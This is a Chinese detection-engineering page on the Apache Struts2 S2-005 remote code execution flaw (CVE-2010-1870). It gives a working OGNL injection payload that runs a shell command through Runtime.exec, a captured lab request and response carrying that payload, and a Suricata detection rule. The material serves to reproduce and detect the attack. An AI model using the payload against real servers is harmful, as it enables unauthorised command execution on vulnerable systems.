跳转至

T1190-CVE-2010-1870-S2-005远程代码执行

来自ATT&CK的描述

使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。

如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。

对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。

测试案例

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

影响版本:2.0.0 - 2.1.8.1

检测日志

HTTP

测试复现

Burp抓包,修改参数

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1

测试留痕

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/yun%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1 HTTP/1.1
Host: 192.168.60.131:8080
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.60.131:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22wtmbqwF8evsRAFy6MdC8Og%3D%3D%22%2C%22mac%22%3A%22f9971a0e2275abe89b4ef530bd3450014d701d5d%22%2C%22payload%22%3A%22O%5C%2FIN3WNFI3c21DrYtH7Pug%3D%3D%22%7D; PHPSESSID=57bf9020b21df668496392730ae25830; JSESSIONID=A399DB5AC14D038F86DAD2623E09D1E7
Connection: close

HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Length: 416
Date: Thu, 22 Oct 2020 01:33:35 GMT
Connection: close



<html>
<head>
    <title>Struts is up and running ...</title>
</head>

<body>
<h2>Struts is up and running ...</h2>

<h3>Languages</h3>
<ul>
    <li>



        <a href="/example/HelloWorld.action?request_locale=en">English</a>
    </li>
    <li>



        <a href="/example/HelloWorld.action?request_locale=es">Espanol</a>
    </li>
</ul>

</body>
</html>

检测规则/思路

Suricata规则

alert http any any -> any any (msg:"CVE-2010-1870-S2-005";flow:established,to_server;content:"GET";http_method;content:"/example/HelloWorld.action";pcre:"/allowStaticMethodAccess/";pcre:"/xwork.MethodAccessor.denyMethodExecution/";http_uri;reference:url,blog.csdn.net/weixin_43416469/article/details/113849099;classtype:web-application-attck;sid:3002021;rev:1;)

建议

流量+安全设备比较容易检测到此攻击行为。

参考推荐

MITRE-ATT&CK-T1190

https://attack.mitre.org/techniques/T1190/

Struts2_005_RCE CVE-2010-1870漏洞复现

https://blog.csdn.net/weixin_43416469/article/details/113849099

Apache Struts2远程代码执行漏洞检测与利用S2-005(CVE-2010-1870)

https://idc.wanyunshuju.com/aqld/1920.html